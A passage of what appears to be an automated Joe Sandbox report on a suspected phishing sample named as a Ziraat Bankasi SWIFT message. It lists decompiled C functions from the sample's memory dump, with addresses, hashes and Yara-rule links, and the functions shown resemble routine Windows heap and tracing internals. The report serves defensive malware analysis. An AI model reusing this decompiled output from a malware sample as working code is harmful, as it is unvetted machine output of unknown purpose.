                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 1723a9983169644bc738d7f04cd7ba5f73e16673a4f20ec27b50d7c26c18efb4
                                                                        • Instruction ID: 7e815b44032ec12ce4296efea5d811e337cd6adc1d04973e4f79ba44e4b9b777
                                                                        • Opcode Fuzzy Hash: 1723a9983169644bc738d7f04cd7ba5f73e16673a4f20ec27b50d7c26c18efb4
                                                                        • Instruction Fuzzy Hash: 08016270A1020DAFCB14DFA8D541A6EB7F8EF04704F144169E548EB382D635DD01CB90
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0133131B Relevance: .0, Instructions: 36COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 48%
                                                                        			E0133131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x136d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}















                                                                        0x0133131b
                                                                        0x0133132a
                                                                        0x01331330
                                                                        0x01331336
                                                                        0x0133133e
                                                                        0x01331341
                                                                        0x01331344
                                                                        0x0133134f
                                                                        0x01331361
                                                                        0x01331351
                                                                        0x0133135a
                                                                        0x0133135a
                                                                        0x0133136c
                                                                        0x0133136d
                                                                        0x0133136f
                                                                        0x01331374
                                                                        0x01331387

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4fe7136411311bd2e8b3e053488b196de4ff96e053e1d90c8cf91495777a7abc
                                                                        • Instruction ID: d9ccf5aa19241b34aa5a86e6b9166a97e38c345249ca662b89ae2bbd08fca700
                                                                        • Opcode Fuzzy Hash: 4fe7136411311bd2e8b3e053488b196de4ff96e053e1d90c8cf91495777a7abc
                                                                        • Instruction Fuzzy Hash: FC013C71A1124DAFCB44EFA9D545AAEB7F8FF58700F108059F945EB391E6349A00CB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01348F6A Relevance: .0, Instructions: 36COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 48%
                                                                        			E01348F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x136d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E01297D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}















                                                                        0x01348f6a
                                                                        0x01348f79
                                                                        0x01348f81
                                                                        0x01348f84
                                                                        0x01348f8b
                                                                        0x01348f91
                                                                        0x01348f94
                                                                        0x01348f9e
                                                                        0x01348fb0
                                                                        0x01348fa0
                                                                        0x01348fa9
                                                                        0x01348fa9
                                                                        0x01348fbb
                                                                        0x01348fbc
                                                                        0x01348fbe
                                                                        0x01348fc3
                                                                        0x01348fd6

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 9d34f3afa7f48da044fe170c7f126ad8417e76aae95872064cb5aabf2332b965
                                                                        • Instruction ID: 052f5555895a216aced6223274c28c14246b814c96f75d6ba1e08f032238208b
                                                                        • Opcode Fuzzy Hash: 9d34f3afa7f48da044fe170c7f126ad8417e76aae95872064cb5aabf2332b965
                                                                        • Instruction Fuzzy Hash: 5B014474A1020DAFDB00EFA8D545AAEB7F4EF18300F104059F945EB380DA34EA00CB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01331608 Relevance: .0, Instructions: 34COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 46%
                                                                        			E01331608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x136d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E01297D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}














                                                                        0x01331608
                                                                        0x01331617
                                                                        0x0133161d
                                                                        0x01331625
                                                                        0x01331628
                                                                        0x0133162b
                                                                        0x01331636
                                                                        0x01331648
                                                                        0x01331638
                                                                        0x01331641
                                                                        0x01331641
                                                                        0x01331653
                                                                        0x01331654
                                                                        0x01331656
                                                                        0x0133165b
                                                                        0x0133166e

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 9f60833bbddfb69a947741825bfa9d5a3ddfa7e64dfb322260bbccf461152749
                                                                        • Instruction ID: 5604f6ed1bc265cf9b5f9053fcca0ec4e2c3f7d440d2d65d4e0a838d18b65e06
                                                                        • Opcode Fuzzy Hash: 9f60833bbddfb69a947741825bfa9d5a3ddfa7e64dfb322260bbccf461152749
                                                                        • Instruction Fuzzy Hash: C2F06D71E10248EFDB14EFE9D845AAEBBF8EF58300F044069E905EB391EA349900DB94
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129C577 Relevance: .0, Instructions: 33COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E0129C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E0129C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x12511cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E013488F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}









                                                                        0x0129c577
                                                                        0x0129c57d
                                                                        0x0129c581
                                                                        0x0129c5b5
                                                                        0x0129c5b9
                                                                        0x0129c5ce
                                                                        0x0129c5ce
                                                                        0x0129c5ca
                                                                        0x00000000
                                                                        0x0129c5ca
                                                                        0x0129c5c4
                                                                        0x0129c5c8
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x0129c5ad
                                                                        0x00000000
                                                                        0x0129c5af

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 4dbc46408485681856799ee15e52ca68f5b566f6686f385b12a51dc619832097
                                                                        • Instruction ID: 574a2e24dc21ea85f2521afc81f7fdf085eb29da168aafda60a76cedbb022594
                                                                        • Opcode Fuzzy Hash: 4dbc46408485681856799ee15e52ca68f5b566f6686f385b12a51dc619832097
                                                                        • Instruction Fuzzy Hash: 1AF0E2F29756929FEF36D76CE044B227FE89B05674F4488AFD706A7202C7B4D8A0C250
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01332073 Relevance: .0, Instructions: 32COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 94%
                                                                        			E01332073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E0132FD22(__ecx);
				_t19 =  *0x136849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x1368748; // 0x0
					if(__eflags <= 0) {
						E01331C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x1368724 & 0x00000004;
							if(( *0x1368724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x1368724; // 0x0
					return E01328DF1(__ebx, 0xc0000374, 0x1365890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}







                                                                        0x01332076
                                                                        0x01332078
                                                                        0x0133207d
                                                                        0x01332083
                                                                        0x013320a4
                                                                        0x013320aa
                                                                        0x013320ac
                                                                        0x013320b7
                                                                        0x013320ba
                                                                        0x013320bc
                                                                        0x013320c9
                                                                        0x013320c9
                                                                        0x013320d0
                                                                        0x013320d2
                                                                        0x00000000
                                                                        0x013320d2
                                                                        0x013320be
                                                                        0x013320c3
                                                                        0x013320c5
                                                                        0x013320c7
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x013320c7
                                                                        0x013320bc
                                                                        0x013320d4
                                                                        0x01332085
                                                                        0x01332085
                                                                        0x013320a3
                                                                        0x013320a3

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a9f99860cfa8d8a85e9dccc57fcf1d09da0cf452807291e2525520195d8d7e3e
                                                                        • Instruction ID: 5f6a8900271d3360339a37585c7f4cf89f1aa61f61c5b45aca9e8d91473f7fc5
                                                                        • Opcode Fuzzy Hash: a9f99860cfa8d8a85e9dccc57fcf1d09da0cf452807291e2525520195d8d7e3e
                                                                        • Instruction Fuzzy Hash: 44F0E53A4152954ADF336B3C75113E3BFDAD7D925CF0A44C5D4901720AC538889BDB6C
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B927A Relevance: .0, Instructions: 32COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 54%
                                                                        			E012B927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E012BFA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E012B92C6(_t11, _t14);
				}
				return _t11;
			}





                                                                        0x012b9295
                                                                        0x012b9299
                                                                        0x012b929f
                                                                        0x012b92aa
                                                                        0x012b92ad
                                                                        0x012b92ae
                                                                        0x012b92af
                                                                        0x012b92b0
                                                                        0x012b92b4
                                                                        0x012b92bb
                                                                        0x012b92bb
                                                                        0x012b92c5

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
                                                                        • Instruction ID: f191e2bccd8da4883772cf452f3b7d1affc7b0c1e872308e98ba6c3695010d17
                                                                        • Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
                                                                        • Instruction Fuzzy Hash: D3E02B723505416BEB119E09CCC0F53376DDF92724F004078FA005E242C6E5DC09C7A0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01348D34 Relevance: .0, Instructions: 32COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 43%
                                                                        			E01348D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x136d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E01297D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}













                                                                        0x01348d34
                                                                        0x01348d43
                                                                        0x01348d4b
                                                                        0x01348d4e
                                                                        0x01348d52
                                                                        0x01348d5c
                                                                        0x01348d6e
                                                                        0x01348d5e
                                                                        0x01348d67
                                                                        0x01348d67
                                                                        0x01348d79
                                                                        0x01348d7a
                                                                        0x01348d7c
                                                                        0x01348d81
                                                                        0x01348d94

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d98884965c459a98ac8e321aa8e34fe82238faaf2312c69f45e21db1a5e173df
                                                                        • Instruction ID: f46c75236098d97b49356ca9e3fc01e927253d59be0c161ed8cd1993a5095e8c
                                                                        • Opcode Fuzzy Hash: d98884965c459a98ac8e321aa8e34fe82238faaf2312c69f45e21db1a5e173df
                                                                        • Instruction Fuzzy Hash: 36F0B470E1460C9FDB14EFB8D441ABE77B8EF14300F108099E945EB290DA34E900CB54
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01348B58 Relevance: .0, Instructions: 31COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 36%
                                                                        			E01348B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x136d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E01297D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}













                                                                        0x01348b67
                                                                        0x01348b6f
                                                                        0x01348b72
                                                                        0x01348b7d
                                                                        0x01348b8f
                                                                        0x01348b7f
                                                                        0x01348b88
                                                                        0x01348b88
                                                                        0x01348b9a
                                                                        0x01348b9b
                                                                        0x01348b9d
                                                                        0x01348ba2
                                                                        0x01348bb5

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e0ec6ae5ee9c4b0c1b5cc2f34bf431c243887d6809a5d690797c47e600a9fb99
                                                                        • Instruction ID: 0160e7d030a0b8e81382a4ceb2c4b1390a67b4dff98a37588cb17b217ee25a2b
                                                                        • Opcode Fuzzy Hash: e0ec6ae5ee9c4b0c1b5cc2f34bf431c243887d6809a5d690797c47e600a9fb99
                                                                        • Instruction Fuzzy Hash: 4CF082B0A14259AFDF10EBA8D946E7E77B8EF04304F140499FA05EB390EA34E900C794
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0129746D Relevance: .0, Instructions: 31COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 88%
                                                                        			E0129746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E0128EB70(__ecx, 0x13679a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E012B95D0();
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}









                                                                        0x0129746d
                                                                        0x0129746d
                                                                        0x0129746d
                                                                        0x01297471
                                                                        0x01297488
                                                                        0x012df92d
                                                                        0x0129748e
                                                                        0x01297491
                                                                        0x01297495
                                                                        0x012df937
                                                                        0x012df93a
                                                                        0x012df94e
                                                                        0x012df953
                                                                        0x012df956
                                                                        0x012df956
                                                                        0x01297495
                                                                        0x00000000
                                                                        0x01297488
                                                                        0x01297473
                                                                        0x01297478
                                                                        0x0129747d
                                                                        0x01297481
                                                                        0x00000000
                                                                        0x01297481
                                                                        0x0129747d
                                                                        0x0129747a
                                                                        0x00000000

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 204c362e8163aeb5a861f652103e400090de6299cb6132342e42c0dae41e7cc5
                                                                        • Instruction ID: f2afd81fa0507022b3f23c12428bc55a2f99ac4900920b9c0dea8e64a0438a62
                                                                        • Opcode Fuzzy Hash: 204c362e8163aeb5a861f652103e400090de6299cb6132342e42c0dae41e7cc5
                                                                        • Instruction Fuzzy Hash: E4F0E234930146EADF029B6CC942FB9BFB1EF14354F445215DA92AB163E7B49801CF99
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01348CD6 Relevance: .0, Instructions: 31COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 36%
                                                                        			E01348CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x136d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E01297D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E012BB640(E012B9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}













                                                                        0x01348ce5
                                                                        0x01348ced
                                                                        0x01348cf0
                                                                        0x01348cfb
                                                                        0x01348d0d
                                                                        0x01348cfd
                                                                        0x01348d06
                                                                        0x01348d06
                                                                        0x01348d18
                                                                        0x01348d19
                                                                        0x01348d1b
                                                                        0x01348d20
                                                                        0x01348d33

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: cc1e52500c3a4cbaaee404bec2aacbacc3c1c96f272e99c4009b60f0f3228b09
                                                                        • Instruction ID: d69ea121cd721fd89c69dc10c2d7a96a0b138bd53b70684203948a7e982e3b8b
                                                                        • Opcode Fuzzy Hash: cc1e52500c3a4cbaaee404bec2aacbacc3c1c96f272e99c4009b60f0f3228b09
                                                                        • Instruction Fuzzy Hash: F2F0E270A15209AFCF00DBE8D845EAE77B8EF1A304F200199E942EB280EA34E900C754
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 01274F2E Relevance: .0, Instructions: 31COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E01274F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E013488F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E0129C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x1251030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}









                                                                        0x01274f2e
                                                                        0x01274f34
                                                                        0x01274f38
                                                                        0x012d0b85
                                                                        0x012d0b85
                                                                        0x012d0b89
                                                                        0x012d0b9a
                                                                        0x012d0b9a
                                                                        0x012d0b9f
                                                                        0x00000000
                                                                        0x012d0b9f
                                                                        0x012d0b94
                                                                        0x012d0b98
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012d0b98
                                                                        0x01274f3e
                                                                        0x01274f48
                                                                        0x00000000
                                                                        0x01274f6e
                                                                        0x00000000
                                                                        0x01274f70

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 6596272770ec3c4e64daf9c2d733e40dd9b502e13c8c53a57d404f9a20198ae2
                                                                        • Instruction ID: f3882690c3ee05ebc22a33d5572534289d04ea9a59c141a04902b5a733a6edc3
                                                                        • Opcode Fuzzy Hash: 6596272770ec3c4e64daf9c2d733e40dd9b502e13c8c53a57d404f9a20198ae2
                                                                        • Instruction Fuzzy Hash: 68F0E2329396868FE772DB1CD184B22BBD4AF00778F444464EA0587932E734EC40C74C
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AA44B Relevance: .0, Instructions: 29COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012AA44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x1367b9c; // 0x0
				_t15 = __ecx;
				_t16 = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E012BFA60(_t17, 0, _t15 << 2);
				return _t17;
			}







                                                                        0x012aa44b
                                                                        0x012aa453
                                                                        0x012aa472
                                                                        0x012aa476
                                                                        0x00000000
                                                                        0x012aa493
                                                                        0x012aa47a
                                                                        0x012aa47f
                                                                        0x012aa486
                                                                        0x00000000

